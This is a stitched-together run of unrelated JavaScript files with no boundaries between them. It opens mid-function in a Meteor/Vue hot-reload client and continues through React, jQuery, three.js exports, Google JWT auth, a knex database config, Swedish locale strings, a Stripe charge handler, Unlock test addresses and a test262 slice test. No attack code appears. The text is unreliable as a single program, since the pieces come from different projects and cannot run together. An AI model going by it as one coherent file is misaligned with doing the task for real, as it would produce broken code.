console.log(`%cHMR`, tagStyle, `Reloading app...`) _reload.call(Reload, options) } _deferReload = 0 } // Reimplement client version check from autoupdate package function checkNewVersionDocument (doc) { if (doc && doc.version && doc._id && __meteor_runtime_config__.autoupdate.versions[doc._id]) { if (__meteor_runtime_config__.autoupdate.versions[doc._id].version !== doc.version) { reload() } } } if (Autoupdate._clientVersions) { // logic for autoupdate since Meteor 1.8.1 Autoupdate._clientVersions.watch(checkNewVersionDocument) } else { // logic for autoupdate before Meteor 1.8.1 const ClientVersions = Autoupdate._ClientVersions if (ClientVersions) { ClientVersions.find().observe({ added: checkNewVersionDocument, changed: checkNewVersionDocument, }) } else { console.warn('%cHMR', tagStyle, 'ClientVersions collection is not available, the app may full reload.') } } Meteor.startup(function () { if(Meteor.isCordova){ const root = new URL(__meteor_runtime_config__.ROOT_URL) __meteor_runtime_config__.VUE_DEV_SERVER_URL = root.protocol+'//'+root.hostname+':'+(parseInt(root.port)+3)+'/'; } // Dev client const devUrl = __meteor_runtime_config__.VUE_DEV_SERVER_URL console.log('%cHMR%c Dev server URL: %c' + devUrl, tagStyle, '', 'font-weight: bold;') console.log(`%cIf you have issues connecting to the dev server, set the 'HMR_URL' env variable to the URL of the dev server displayed in the meteor console.`, infoStyle) // NOTE: Socket lib don't allow mix HTTP and HTTPS servers URLs on client! const _socket = require('socket.io-client/dist/socket.io.dev.js')(devUrl) window.__dev_client__ = _socket _socket.on('connect', function () { console.log('%cHMR%c ⏺ Dev client connected', tagStyle, 'color: #177D4F;') }) _socket.on('disconnect', function () { console.log('%cHMR%c ⏺ Dev client disconnected', tagStyle, 'color: #F36E00;') }) // JS _socket.on('js', Meteor.bindEnvironment(function ({hash, js, template, path}) { let args = ['vue'] let regResult let error = null while ((regResult = jsImportsReg.exec(js))) { args.push(regResult[2]) } args.push(function (require, exports, module) { try { // eslint-disable-next-line no-eval eval(js) } catch (e) { console.error(e) error = e } }) const id = `${path + Math.round(new Date().getTime())}.js` const files = id.split('/') const fileObj = {} let currentObj = fileObj const indexMax = files.length - 1 files.forEach((file, index) => { if (index === indexMax) { currentObj[file] = args } else { currentObj = currentObj[file] = {} } }) const require = meteorInstall(fileObj) const result = require('./' + id) let needsReload = false if (!error) { console.log('%cHMR', tagStyle, 'Reloading ' + path) if (!result.default.render && !template) { error = true } if (!error) { try { if (vueVersion === 1) { needsReload = VueHotReloadApi.update(hash, result.default, template) } else if (vueVersion === 2) { needsReload = VueHotReloadApi.reload(hash, result.default, template) } } catch (e) { console.error(e) error = true } } } _suppressNextReload = !error && !needsReload })) // Template _socket.on('render', function ({hash, template, path}) { if (vueVersion === 2) { console.log('%cHMR', tagStyle, 'Rerendering ' + path) let error = false try { let obj // eslint-disable-next-line no-eval eval(`obj = ${template};`) // console.log(obj) VueHotReloadApi.rerender(hash, obj) } catch (e) { error = true } _suppressNextReload = !error } }) // CSS const _styleNodes = {} _socket.on('css', function ({hash, css, path}) { // console.log('css', hash, css.length) let style = _styleNodes[hash] if (!style) { style = document.createElement('style') style.setAttribute('data-v-source-file', path) document.getElementsByTagName('head')[0].appendChild(style) _styleNodes[hash] = style } style.textContent = css _suppressNextReload = true }) // Locale _socket.on('lang.updated', function ({lang, data}) { Vue.locale(lang, data) if (lang === Vue.config.lang) { // Refresh VueHotReloadApi.updateWatchers() } console.log(`%cHMR`, tagStyle, `Updated locale ${lang}`) _suppressNextReload = true }) _socket.on('langs.updated', function ({langs}) { _deferReload = 3000 }) // Message _socket.on('message', function ({ type, message }) { let func if (type === 'error') { func = console.error } else if (type === 'warn') { func = console.warn } else { func = console.log } func(`%cHMR`, tagStyle, message) }) // Reg const jsImportsReg = /module\.import\((['"])(.+?)\1/g })
import React from 'react'; import ReactDOM from 'react-dom'; import './index.scss'; import Routes from './components/routes/routes' ReactDOM.render(<Routes />, document.getElementById('root'));
 var queryedCustomers = new Array(); $(document).ready(function () { $("#queryEquipment").click(function () { queryEquipment($("#txtEquipment").val(), function (data) { if (data.length > 0) { showEquipmentInfo(data[0]); showEquipmentSituation(data[0]); } else { showError("No equipment like \"" + $("#txtEquipment").val() + "\"", "no record"); showEquipmentInfo(null); showEquipmentSituation(null); } }); }); // query equipment which in store in warehouse $("#txtEquipment").autocomplete({ source: function (request, response) { var obj = {}; var mod = $("#selModel").val(); obj.Model = isStringNull(mod) ? 0 : parseInt(mod); obj.Number = $("#txtEquipment").val(); GetJsonData("../ajax/query.ashx", { "type": "equipment", "cmd": "query", "data": $.toJSON(obj) }, function (data) { response($.map(data, function (item) { var model = getModel(item.Model)[0]; var number = model.Code + item.Number; return { label: number, value: number } })); }); }, minLength: 4, open: function () { $(this).removeClass("ui-corner-all").addClass("ui-corner-top"); }, close: function () { $(this).removeClass("ui-corner-top").addClass("ui-corner-all"); } }); // query customer code $("#txtCustomerCode").autocomplete({ source: function (request, response) { GetJsonData("../ajax/query.ashx", { "type": "customer", "cmd": "query", "data": $("#txtCustomerCode").val() }, function (data) { queryedCustomers = data; response($.map(data, function (item) { var number = item.Name+"," + item.Code; return { label: number, value: item.Code } })); }); }, select: function (event, ui) { var v = jLinq.from(queryedCustomers).equals("Code", ui.item.value).select(); if (v.length > 0) { $("#hidCustomerId").val(v[0].id); } }, minLength: 4, open: function () { $(this).removeClass("ui-corner-all").addClass("ui-corner-top"); }, close: function () { $(this).removeClass("ui-corner-top").addClass("ui-corner-all"); } }); }); function showEquipmentSituation(obj) { var status = null == obj ? null : getStatusCode(obj.Status)[0]; var situation = null == obj ? null : getStatusStatus(status.Status)[0]; if (null != obj && situation.IsInventory == true) { $("#_e_3_ td:eq(1)").html(null == obj ? "-" : (situation.Name + "(" + status.Name + ")")); $("#btSave").prop("disabled", false); $("[id^=\"_c_\"]").show(); } else { $("#_e_3_ td:eq(1)").html(null == obj ? "-" : ("<span style=\"color: #ff0000;\">" + situation.Name + "(" + status.Name + ")</span> Cannot change to deliver status")); $("#btSave").prop("disabled", true); $("[id^=\"_c_\"]").hide(); } }
import { REVISION } from './constants.js'; export { WebGLMultisampleRenderTarget } from './renderers/WebGLMultisampleRenderTarget.js'; export { WebGLCubeRenderTarget } from './renderers/WebGLCubeRenderTarget.js'; export { WebGLRenderTarget } from './renderers/WebGLRenderTarget.js'; export { WebGLRenderer } from './renderers/WebGLRenderer.js'; export { WebGL1Renderer } from './renderers/WebGL1Renderer.js'; export { ShaderLib } from './renderers/shaders/ShaderLib.js'; export { UniformsLib } from './renderers/shaders/UniformsLib.js'; export { UniformsUtils } from './renderers/shaders/UniformsUtils.js'; export { ShaderChunk } from './renderers/shaders/ShaderChunk.js'; export { FogExp2 } from './scenes/FogExp2.js'; export { Fog } from './scenes/Fog.js'; export { Scene } from './scenes/Scene.js'; export { Sprite } from './objects/Sprite.js'; export { LOD } from './objects/LOD.js'; export { SkinnedMesh } from './objects/SkinnedMesh.js'; export { Skeleton } from './objects/Skeleton.js'; export { Bone } from './objects/Bone.js'; export { Mesh } from './objects/Mesh.js'; export { InstancedMesh } from './objects/InstancedMesh.js'; export { LineSegments } from './objects/LineSegments.js'; export { LineLoop } from './objects/LineLoop.js'; export { Line } from './objects/Line.js'; export { Points } from './objects/Points.js'; export { Group } from './objects/Group.js'; export { VideoTexture } from './textures/VideoTexture.js'; export { DataTexture } from './textures/DataTexture.js'; export { DataTexture2DArray } from './textures/DataTexture2DArray.js'; export { DataTexture3D } from './textures/DataTexture3D.js'; export { CompressedTexture } from './textures/CompressedTexture.js'; export { CubeTexture } from './textures/CubeTexture.js'; export { CanvasTexture } from './textures/CanvasTexture.js'; export { DepthTexture } from './textures/DepthTexture.js'; export { Texture } from './textures/Texture.js'; export * from './geometries/Geometries.js'; export * from './materials/Materials.js'; export { AnimationLoader } from './loaders/AnimationLoader.js'; export { CompressedTextureLoader } from './loaders/CompressedTextureLoader.js'; export { CubeTextureLoader } from './loaders/CubeTextureLoader.js'; export { DataTextureLoader } from './loaders/DataTextureLoader.js'; export { TextureLoader } from './loaders/TextureLoader.js'; export { ObjectLoader } from './loaders/ObjectLoader.js'; export { MaterialLoader } from './loaders/MaterialLoader.js'; export { BufferGeometryLoader } from './loaders/BufferGeometryLoader.js'; export { DefaultLoadingManager, LoadingManager } from './loaders/LoadingManager.js'; export { ImageLoader } from './loaders/ImageLoader.js'; export { ImageBitmapLoader } from './loaders/ImageBitmapLoader.js'; export { FontLoader } from './loaders/FontLoader.js'; export { FileLoader } from './loaders/FileLoader.js'; export { Loader } from './loaders/Loader.js'; export { LoaderUtils } from './loaders/LoaderUtils.js'; export { Cache } from './loaders/Cache.js'; export { AudioLoader } from './loaders/AudioLoader.js'; export { SpotLight } from './lights/SpotLight.js'; export { PointLight } from './lights/PointLight.js'; export { RectAreaLight } from './lights/RectAreaLight.js'; export { HemisphereLight } from './lights/HemisphereLight.js'; export { HemisphereLightProbe } from './lights/HemisphereLightProbe.js'; export { DirectionalLight } from './lights/DirectionalLight.js'; export { AmbientLight } from './lights/AmbientLight.js'; export { AmbientLightProbe } from './lights/AmbientLightProbe.js'; export { Light } from './lights/Light.js'; export { LightProbe } from './lights/LightProbe.js'; export { StereoCamera } from './cameras/StereoCamera.js'; export { PerspectiveCamera } from './cameras/PerspectiveCamera.js'; export { OrthographicCamera } from './cameras/OrthographicCamera.js'; export { CubeCamera } from './cameras/CubeCamera.js'; export { ArrayCamera } from './cameras/ArrayCamera.js'; export { Camera } from './cameras/Camera.js'; export { AudioListener } from './audio/AudioListener.js'; export { PositionalAudio } from './audio/PositionalAudio.js'; export { AudioContext } from './audio/AudioContext.js'; export { AudioAnalyser } from './audio/AudioAnalyser.js'; export { Audio } from './audio/Audio.js'; export { VectorKeyframeTrack } from './animation/tracks/VectorKeyframeTrack.js'; export { StringKeyframeTrack } from './animation/tracks/StringKeyframeTrack.js'; export { QuaternionKeyframeTrack } from './animation/tracks/QuaternionKeyframeTrack.js'; export { NumberKeyframeTrack } from './animation/tracks/NumberKeyframeTrack.js'; export { ColorKeyframeTrack } from './animation/tracks/ColorKeyframeTrack.js'; export { BooleanKeyframeTrack } from './animation/tracks/BooleanKeyframeTrack.js'; export { PropertyMixer } from './animation/PropertyMixer.js'; export { PropertyBinding } from './animation/PropertyBinding.js'; export { KeyframeTrack } from './animation/KeyframeTrack.js'; export { AnimationUtils } from './animation/AnimationUtils.js'; export { AnimationObjectGroup } from './animation/AnimationObjectGroup.js'; export { AnimationMixer } from './animation/AnimationMixer.js'; export { AnimationClip } from './animation/AnimationClip.js'; export { Uniform } from './core/Uniform.js'; export { InstancedBufferGeometry } from './core/InstancedBufferGeometry.js'; export { BufferGeometry } from './core/BufferGeometry.js'; export { InterleavedBufferAttribute } from './core/InterleavedBufferAttribute.js'; export { InstancedInterleavedBuffer } from './core/InstancedInterleavedBuffer.js'; export { InterleavedBuffer } from './core/InterleavedBuffer.js'; export { InstancedBufferAttribute } from './core/InstancedBufferAttribute.js'; export { GLBufferAttribute } from './core/GLBufferAttribute.js'; export * from './core/BufferAttribute.js'; export { Face3 } from './core/Face3.js'; export { Object3D } from './core/Object3D.js'; export { Raycaster } from './core/Raycaster.js'; export { Layers } from './core/Layers.js'; export { EventDispatcher } from './core/EventDispatcher.js'; export { Clock } from './core/Clock.js'; export { QuaternionLinearInterpolant } from './math/interpolants/QuaternionLinearInterpolant.js'; export { LinearInterpolant } from './math/interpolants/LinearInterpolant.js'; export { DiscreteInterpolant } from './math/interpolants/DiscreteInterpolant.js'; export { CubicInterpolant } from './math/interpolants/CubicInterpolant.js'; export { Interpolant } from './math/Interpolant.js'; export { Triangle } from './math/Triangle.js'; export { MathUtils } from './math/MathUtils.js'; export { Spherical } from './math/Spherical.js'; export { Cylindrical } from './math/Cylindrical.js'; export { Plane } from './math/Plane.js'; export { Frustum } from './math/Frustum.js'; export { Sphere } from './math/Sphere.js'; export { Ray } from './math/Ray.js'; export { Matrix4 } from './math/Matrix4.js'; export { Matrix3 } from './math/Matrix3.js'; export { Box3 } from './math/Box3.js'; export { Box2 } from './math/Box2.js'; export { Line3 } from './math/Line3.js'; export { Euler } from './math/Euler.js'; export { Vector4 } from './math/Vector4.js'; export { Vector3 } from './math/Vector3.js'; export { Vector2 } from './math/Vector2.js'; export { Quaternion } from './math/Quaternion.js'; export { Color } from './math/Color.js'; export { SphericalHarmonics3 } from './math/SphericalHarmonics3.js'; export { ImmediateRenderObject } from './extras/objects/ImmediateRenderObject.js'; export { SpotLightHelper } from './helpers/SpotLightHelper.js'; export { SkeletonHelper } from './helpers/SkeletonHelper.js'; export { PointLightHelper } from './helpers/PointLightHelper.js'; export { HemisphereLightHelper } from './helpers/HemisphereLightHelper.js'; export { GridHelper } from './helpers/GridHelper.js'; export { PolarGridHelper } from './helpers/PolarGridHelper.js'; export { DirectionalLightHelper } from './helpers/DirectionalLightHelper.js'; export { CameraHelper } from './helpers/CameraHelper.js'; export { BoxHelper } from './helpers/BoxHelper.js'; export { Box3Helper } from './helpers/Box3Helper.js'; export { PlaneHelper } from './helpers/PlaneHelper.js'; export { ArrowHelper } from './helpers/ArrowHelper.js'; export { AxesHelper } from './helpers/AxesHelper.js'; export * from './extras/curves/Curves.js'; export { Shape } from './extras/core/Shape.js'; export { Path } from './extras/core/Path.js'; export { ShapePath } from './extras/core/ShapePath.js'; export { Font } from './extras/core/Font.js'; export { CurvePath } from './extras/core/CurvePath.js'; export { Curve } from './extras/core/Curve.js'; export { DataUtils } from './extras/DataUtils.js'; export { ImageUtils } from './extras/ImageUtils.js'; export { ShapeUtils } from './extras/ShapeUtils.js'; export { PMREMGenerator } from './extras/PMREMGenerator.js'; export { WebGLUtils } from './renderers/webgl/WebGLUtils.js'; export * from './constants.js'; export * from './Three.Legacy.js'; if ( typeof __THREE_DEVTOOLS__ !== 'undefined' ) { /* eslint-disable no-undef */ __THREE_DEVTOOLS__.dispatchEvent( new CustomEvent( 'register', { detail: { revision: REVISION, } } ) ); /* eslint-enable no-undef */ }
module.exports=require('../../decode-ranges.js')('itAwVRFVAi_AgwAnRAw8qAwf7EZEgwEAJ4N6OAj4CxDAAOAyNhI4IhmDxTOH7C6FAdhf')
"use strict"; // Copyright 2015 Google LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. Object.defineProperty(exports, "__esModule", { value: true }); exports.JWTAccess = void 0; const jws = require("jws"); const LRU = require("lru-cache"); const DEFAULT_HEADER = { alg: 'RS256', typ: 'JWT', }; class JWTAccess { /** * JWTAccess service account credentials. * * Create a new access token by using the credential to create a new JWT token * that's recognized as the access token. * * @param email the service account email address. * @param key the private key that will be used to sign the token. * @param keyId the ID of the private key used to sign the token. */ constructor(email, key, keyId, eagerRefreshThresholdMillis) { this.cache = new LRU({ max: 500, maxAge: 60 * 60 * 1000, }); this.email = email; this.key = key; this.keyId = keyId; this.eagerRefreshThresholdMillis = eagerRefreshThresholdMillis !== null && eagerRefreshThresholdMillis !== void 0 ? eagerRefreshThresholdMillis : 5 * 60 * 1000; } /** * Get a non-expired access token, after refreshing if necessary. * * @param url The URI being authorized. * @param additionalClaims An object with a set of additional claims to * include in the payload. * @returns An object that includes the authorization header. */ getRequestHeaders(url, additionalClaims) { // Return cached authorization headers, unless we are within // eagerRefreshThresholdMillis ms of them expiring: const cachedToken = this.cache.get(url); const now = Date.now(); if (cachedToken && cachedToken.expiration - now > this.eagerRefreshThresholdMillis) { return cachedToken.headers; } const iat = Math.floor(Date.now() / 1000); const exp = JWTAccess.getExpirationTime(iat); // The payload used for signed JWT headers has: // iss == sub == <client email> // aud == <the authorization uri> const defaultClaims = { iss: this.email, sub: this.email, aud: url, exp, iat, }; // if additionalClaims are provided, ensure they do not collide with // other required claims. if (additionalClaims) { for (const claim in defaultClaims) { if (additionalClaims[claim]) { throw new Error(`The '${claim}' property is not allowed when passing additionalClaims. This claim is included in the JWT by default.`); } } } const header = this.keyId ? { ...DEFAULT_HEADER, kid: this.keyId } : DEFAULT_HEADER; const payload = Object.assign(defaultClaims, additionalClaims); // Sign the jwt and add it to the cache const signedJWT = jws.sign({ header, payload, secret: this.key }); const headers = { Authorization: `Bearer ${signedJWT}` }; this.cache.set(url, { expiration: exp * 1000, headers, }); return headers; } /** * Returns an expiration time for the JWT token. * * @param iat The issued at time for the JWT. * @returns An expiration time for the JWT. */ static getExpirationTime(iat) { const exp = iat + 3600; // 3600 seconds = 1 hour return exp; } /** * Create a JWTAccess credentials instance using the given input options. * @param json The input object. */ fromJSON(json) { if (!json) { throw new Error('Must pass in a JSON object containing the service account auth settings.'); } if (!json.client_email) { throw new Error('The incoming JSON object does not contain a client_email field'); } if (!json.private_key) { throw new Error('The incoming JSON object does not contain a private_key field'); } // Extract the relevant information from the json key file. this.email = json.client_email; this.key = json.private_key; this.keyId = json.private_key_id; this.projectId = json.project_id; } fromStream(inputStream, callback) { if (callback) { this.fromStreamAsync(inputStream).then(() => callback(), callback); } else { return this.fromStreamAsync(inputStream); } } fromStreamAsync(inputStream) { return new Promise((resolve, reject) => { if (!inputStream) { reject(new Error('Must pass in a stream containing the service account auth settings.')); } let s = ''; inputStream .setEncoding('utf8') .on('data', chunk => (s += chunk)) .on('error', reject) .on('end', () => { try { const data = JSON.parse(s); this.fromJSON(data); resolve(); } catch (err) { reject(err); } }); }); } } exports.JWTAccess = JWTAccess; //# sourceMappingURL=jwtaccess.js.map
import React from 'react' import TextField from '@material-ui/core/TextField'; import { Pagination, Autocomplete } from "@material-ui/lab"; import Datafilm from '../CustomMain/datafilm'; import style from './style.module.css' function Combobox({ nameCbb = "", classes = {}, data = "" }){ return( <Autocomplete id="combo-box-demo" options={data} getOptionLabel={(option) => option.title} style={{ width: 160}} renderInput={(params) => ( <TextField className = {style.demo} {...params} label={nameCbb} variant="outlined" /> )} /> ) } export default Combobox;
var Filter = { capitalize: function(value) { var valueStr = value.toString() return valueStr.toUpperCase() }, lowercase: function(value) { var valueStr = value.toString() return valueStr.toLowerCase() } } export {Filter}
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); const knex = require("knex"); const dotenv = require("dotenv"); const users_1 = require("./users"); dotenv.config(); const env = process.env.NODE_ENV || "development"; const config = { "username": process.env.DB_USER, "password": process.env.DB_PASS, "database": process.env.DB_SCHEMA, "host": process.env.DB_ADDR, "dialect": "mysql", // "charset": "latin1", // "collate": "latin1_swedish_ci", // "logging": (data, benchmark) => { // console.log(JSON.stringify({time: new Date().getTime(), query: data, executionTime: benchmark})) // }, "benchmark": true, "pool": { "max": 100, "min": 1, "idle": 10000 } }; exports.database = knex({ client: "mysql2", // log: Logger, debug: true, pool: { max: 100, min: 1, idleTimeoutMillis: 10000 }, connection: { host: config.host, user: config.username, password: config.password, database: config.database } }); users_1.setupDatabase(exports.database); exports.default = exports.database; //# sourceMappingURL=index.js.map
import WeatherPage from "./pages/weather/weather-page"; import "./App.css"; function App() { return ( <div className="App"> <WeatherPage title="TEMPO AGORA EM" /> </div> ); } export default App;
define( ({ commonMedia: { mediaSelector: { lblSelect1: "Media", lblSelect2: "Innehåll", lblMap: "Karta", lblImage: "Bild", lblVideo: "Video", lblExternal: "Webbsida", disabled: "Den här funktionen har inaktiverats av administratören", url: "Ange webbadressen för en bild manuellt", userLookup: "Läs in album", notImplemented: "Inte infört ännu.", noData: "Inget offentligt album hittades" }, imageSelector: { lblStep1: "Välj tjänst", lblStep2: "Välj media", lblStep3: "Konfigurera" }, imageSelectorHome: { explain: "Läs in bilder från sociala media <br /> eller direkt från en URL" }, imageSelectorFlickr: { userInputLbl: "Användarnamn", signInMsg2: "Det gick inte att hitta användaren", loadingFailed: "Det gick inte att läsa in" }, imageSelectorFacebook: { leftHeader: "Facebook-användare", rightHeader: "Facebook-sida", pageExplain: "En Facebook-sida är ett offentligt varumärke/produkt eller en kändis, till exempel <b>esrigis</b>. Du kan hitta sidnamnet efter det första '/'-tecknet i sidans webbadress.", pageInputLbl: "Sidnamn", lookupMsgError: "Det gick inte att hitta sidan" }, imageSelectorPicasa: { userInputLbl: "E-postadress eller ID för Picasa/Google+", signInMsg2: "Det gick inte att hitta kontot", howToFind: "Så här hittar du ett konto-ID för Picasa eller Google+", howToFind2: "Kopiera siffrorna mellan det första och andra '/'-tecknet på en Picasa- eller G+-sida" }, videoSelectorCommon: { check: "Kontroll", notFound: "Det gick inte att hitta videon", found: "Video hittad", select: "Välj den här videon" }, videoSelectorHome: { other: "Annat" }, videoSelectorYoutube: { url: "URL till en Youtube-video", pageInputLbl: "Användarnamn", lookupMsgError: "Det gick inte att hitta användaren", howToFind: "Så här hittar du ett YouTube-användarnamn", howToFind2: "Användarnamnet visas under videoklippen", found: "Hittade", noData: "Inga offentliga videoklipp hittades" }, videoSelectorVimeo: { url: "URL till en Vimeo-video" }, videoSelectorOther: { explain1: "Kartjournalen kan inte spela upp obearbetade videoklipp (till exempel avi och mpeg), men kan spela driftade videofiler som har inbyggda spelare (till exempel YouTube eller Vimeo).", explain2: "De flesta tjänster som driftar videoklipp online erbjuder den här funktionen. Du måste hitta alternativet för att bädda in videon, kopiera den angivna koden och använda %WEBPAGE%.", explain3: "Om du själv vill drifta videon kan du skapa en HTML-sida som använder en videospelare som %EXAMPLE%, drifta sidan och använda %WEBPAGE%.", webpage: "Webbsidefunktion" }, webpageSelectorHome: { lblUrl: "Webbsidans URL", lblEmbed: "Bädda in kod", lblOR: "ELLER", lblError1: "Fel, rensa ett av de båda inmatningsfälten.", lblError2: "Inbäddad kod kan endast innehålla en %IFRAMETAG%", configure: "Konfigurera" }, mediaConfigure: { lblURL: "URL", lblURLPH: "En bild-URL bör börja med http:// och slutar med .jpg eller .png", lblURLError: "Den här bilden verkar inte vara giltig. Ange en direktlänk till en bildfil (din URL slutar vanligtvis med en .jpg eller .png). Länkar till en webbsida som innehåller en bild fungerar inte.", lblURLCheck: "Kontrollerar bild ...", lblLabel: "Bildtext", lblLabel1: "Bildtext", lblLabel2: "Hovringstext", lblLabel3: "Inga", lblLabelPH: "Ange text ...", lblMaximize: "Ta med knappen Maximera i hörnet av bilden", lblMaximizeHelp: "Rekommenderas endast för bilder av hög kvalitet", lblPosition: "Position", lblPosition1: "Centrera", lblPosition2: "Fyllning", lblPosition3: "Anpassa", lblPosition4: "Sträck", lblPosition5: "Anpassad", tooltipDimension: "Värdet kan anges i \"px\" eller \"%\"", tooltipDimension2: "Värdet måste anges i \"px\"", lblPosition2Explain: "(kan beskäras)", lblPosition3Explain: "(kan inte beskäras)", lblPosition3Explain2: "(bredden kommer alltid att fylla rutan)", lblPosition4Explain: "(kan förvrängas)", unloadLbl: "Ta bort när användaren navigerar till ett annat avsnitt", unloadHelp: "Om webbsidan innehåller ljud- eller videomedia behåller du det här alternativet markerat så att innehållet inte spelas när användaren navigerar till ett annat avsnitt. Avmarkera det till exempel om du vill att ett ljudspår ska spelas när användaren bläddrar vidare genom journalen.<br />Om webbläsaren är en applikation avmarkerar du alternativet så att applikationen inte läses in på nytt om användaren återvänder till det avsnittet." }, editorActionGeocode: { lblTitle: "Hitta en adress eller plats", mapMarkerExplain: "Användare ser en kartmarkör när de klickar på länken" }, editorActionMedia: { lblTitle: "Ändra innehåll för huvudscenen" }, editorInlineMedia: { lblTitle: "Infoga en bild, ett videoklipp eller en webbsida" } } }) );
import Link from 'next/link' import React from 'react' export default function FooterAdmin() { return ( <> <footer className="block py-4"> <div className="container mx-auto px-4"> <hr className="mb-4 border-b-1 border-gray-300" /> <div className="flex flex-wrap items-center md:justify-between justify-center"> <div className="w-full md:w-4/12 px-4"> <div className="text-sm text-gray-600 font-semibold py-1 text-center md:text-left"> Copyright © {new Date().getFullYear()}{' '} <a href="https://www.xarala.co" className="text-gray-600 hover:text-gray-800 text-sm font-semibold py-1" > Xarala </a> </div> </div> <div className="w-full md:w-8/12 px-4"> <ul className="flex flex-wrap list-none md:justify-end justify-center"> <li> <Link href="/about"> <a href="#" className="text-gray-700 hover:text-gray-900 text-sm font-semibold block py-1 px-3" > A propos </a> </Link> </li> <li> <Link href="/contacts"> <a href="#" className="text-gray-700 hover:text-gray-900 text-sm font-semibold block py-1 px-3" > Contacts </a> </Link> </li> <li> <Link href="/blog"> <a href="#" className="text-gray-700 hover:text-gray-900 text-sm font-semibold block py-1 px-3" > Blog </a> </Link> </li> </ul> </div> </div> </div> </footer> </> ) }
import "../text-field/text-field"; import "../dropdown/dropdown"; import "../range-slider/range-slider"; import "../checkbox-list/checkbox-list"; import "../checkbox-list-rich/checkbox-list-rich"; const filterPanelToggleElement = $(".filter-panel__toggle"); const filterPanelContentElement = $(".filter-panel__content"); filterPanelToggleElement.click(function() { if (filterPanelContentElement.css("display") == "none") filterPanelContentElement.show(100); else filterPanelContentElement.hide(100); $("body,html").animate({ scrollTop: 0 }, 400); }); function windowSize() { if ($(window).width() > 982) filterPanelContentElement.css("display", "block"); } $(window).on("load resize", windowSize);
import { getMarketInfo } from './get'; export { getMarketInfo };
// Importing JavaScript // // You have two choices for including Bootstrap's JS files—the whole thing, // or just the bits that you need. // Option 1 // // Import Bootstrap's bundle (all of Bootstrap's JS + Popper.js dependency) // import "../../node_modules/bootstrap/dist/js/bootstrap.bundle.min.js"; // Option 2 // // Import just what we need // If you're importing tooltips or popovers, be sure to include our Popper.js dependency import "../../node_modules/@popperjs/core/dist/umd/popper.min.js"; // Import the required DOM management plugins first import "../../node_modules/bootstrap/js/dist/dom/data.js"; import "../../node_modules/bootstrap/js/dist/dom/event-handler.js"; import "../../node_modules/bootstrap/js/dist/dom/manipulator.js"; import "../../node_modules/bootstrap/js/dist/dom/selector-engine.js"; import "../../node_modules/bootstrap/js/dist/base-component.js"; // Then your specific components import "../../node_modules/bootstrap/js/dist/dropdown.js"; import "../../node_modules/bootstrap/js/dist/offcanvas.js";
import stripePackage from "stripe"; import { calculateCost } from "./libs/billing-lib"; import { success, failure } from "./libs/response-lib"; export async function main(event, context) { const { storage, source } = JSON.parse(event.body); const amount = calculateCost(storage); const description = "Scratch charge"; // Load our secret key from the environment variables const stripe = stripePackage(process.env.stripeSecretKey); try { await stripe.charges.create({ source, amount, description, currency: "inr" }); return success({ status: true }); } catch (e) { return failure({ message: e.message }); } }
const ci = process.env.CI const unlockPort = process.env.UNLOCK_PORT || 3000 const locksmithPort = process.env.LOCKSMITH_PORT || 8080 const paywallPort = process.env.PAYWALL_PORT || 3001 const theGraphPort = process.env.SUBGRAPH_PORT || 8020 const unlockHost = process.env.UNLOCK_HOST || '127.0.0.1' const locksmithHost = process.env.LOCKSMITH_HOST || '127.0.0.1' const paywallHost = process.env.PAYWALL_HOST || '127.0.0.1' const theGraphHost = process.env.SUBGRAPH_HOST || '127.0.0.1' const testingAddress = process.env.ETHEREUM_ADDRESS || '0xaaadeed4c0b861cb36f4ce006a9c90ba2e43fdc2' const httpProviderHost = process.env.HTTP_PROVIDER_HOST || '127.0.0.1' const httpProviderPort = process.env.HTTP_PROVIDER_PORT || 8545 // All of the addresses below are hard coded but may change if the docker setup changes. // To check them use the docker logs const erc20ContractAddress = process.env.ERC20_CONTRACT_ADDRESS || '0xFcD4FD1B4F3d5ceDdc19004579A5d7039295DBB9' const paywallETHLockAddress = '0x7046B2284F75B4360a56Fb61D716594a92e00528' const paywallERC20LockAddress = '0x6D9e231E65ABf68d8eA91f3D13C134BB007E4854' const adblockETHLockAddresses = [ '0x9cb69bb74e21eBF2C743e8fAA14aC81eD449A75C', '0x0CdD24AE99d76e85DC8Cade27fF25eaB2942D93c', '0xe5521819981AFA5f6374d867221EbfE2E3c7D2a7', ] const adblockERC20LockAddresses = [ '0xE0B7b918b9c9B57a21B59fA520c1320121E3029D', '0xbbDa6540Fa3e2d10Fd538d5457A0D8DBd31f6698', '0xa0D5a65A0A7E44bEd9d347cAbba79C8cDc583da2', ] module.exports = { unlockPort, locksmithPort, paywallPort, theGraphPort, ci, unlockHost, locksmithHost, paywallHost, theGraphHost, erc20ContractAddress, testingAddress, httpProviderHost, httpProviderPort, paywallETHLockAddress, paywallERC20LockAddress, adblockETHLockAddresses, adblockERC20LockAddresses, }
// Copyright 2009 the Sputnik authors. All rights reserved. // This code is governed by the BSD license found in the LICENSE file. /*--- info: If end is undefined use length es5id: 15.4.4.10_A1.5_T1 description: end === undefined ---*/ var x = [0,1,2,3,4]; var arr = x.slice(3, undefined); //CHECK#1 arr.getClass = Object.prototype.toString; if (arr.getClass() !== "[object " + "Array" + "]") { $ERROR('#1: var x = [0,1,2,3,4]; var arr = x.slice(3, undefined); arr is Array object. Actual: ' + (arr.getClass())); } //CHECK#2 if (arr.length !== 2) { $ERROR('#2: var x = [0,1,2,3,4]; var arr = x.slice(3, undefined); arr.length === 2. Actual: ' + (arr.length)); } //CHECK#3 if (arr[0] !== 3) { $ERROR('#3: var x = [0,1,2,3,4]; var arr = x.slice(3, undefined); arr[0] === 3. Actual: ' + (arr[0])); } //CHECK#4 if (arr[1] !== 4) { $ERROR('#4: var x = [0,1,2,3,4]; var arr = x.slice(3, undefined); arr[1] === 4. Actual: ' + (arr[1])); } //CHECK#5 if (arr[2] !== undefined) { $ERROR('#5: var x = [0,1,2,3,4]; var arr = x.slice(3, undefined); arr[2] === undefined. Actual: ' + (arr[2])); }
